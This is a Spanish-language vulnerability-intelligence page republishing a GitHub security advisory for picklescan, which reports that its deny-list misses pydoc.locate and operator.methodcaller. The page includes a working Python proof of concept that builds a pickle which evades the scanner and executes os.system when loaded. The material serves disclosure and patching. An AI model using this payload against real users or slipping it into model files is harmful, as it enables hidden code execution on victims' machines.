llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · picklescan

GHSA-84R2-JW7C-4R5Q

Picklescan has Incomplete List of Disallowed Inputs

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -3 d de la divulgación
Exposición326 dDesde la divulgación, 29 dic 2025, 10:24 a. m.
Detección322 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 0.0.33
Monitoreo
Detectada
26 dic 25
29 dic 25
7 jul 26
17 nov 26
20 nov 26
26 dic 25
18 mar 26
9 jun 26
30 ago 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 0.0.33 picklescan · -3 d desde divulgación
Divulgación Publicada GHSA-84R2-JW7C-4R5Q divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly
* pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module).
* operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.

Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.

PoC

use the provided script to create a malicious pickle file

import pickle
import pydoc
import operator
import os

class ModuleLocator:
    def __init__(self, module_name):
        self.module_name = module_name
        
    def __reduce__(self):
        return (pydoc.locate, (self.module_name,))

class RCEPayload:
    def __reduce__(self):
        
        cmd = "notepad" #put your payload here
        
        mc = operator.methodcaller("system", cmd)
        return (mc, (ModuleLocator("os"),))

def generate_exploit():
    payload = RCEPayload()
    
    try:
        with open("bypass.pkl", "wb") as f:
            f.write(pickle.dumps(payload))
        print("File 'bypass.pkl' created.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    generate_exploit()

The generated payload will not be flagged as dangerous by picklescan but is actually malicious.

import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))

Script to open the pickle file, demonstrating impact

<img width="746" height="341" alt="image" src="https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0" />

### Remediation
The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
picklescan< 0.0.33
0.0.33
1.0.5
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypipicklescan
Corregida 0.0.33 -3 d 1.0.5 no afectada
Versiones corregidas0.0.33
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2025-71320
Otrahttps://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q
Otrahttps://github.com/mmaitre314/picklescan/pull/53
Otrahttps://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab
Otrahttps://github.com/mmaitre314/picklescan
Otrahttps://github.com/mmaitre314/picklescan/releases/tag/v0.0.33
Otrahttps://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-incomplete-disallowed-inputs

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.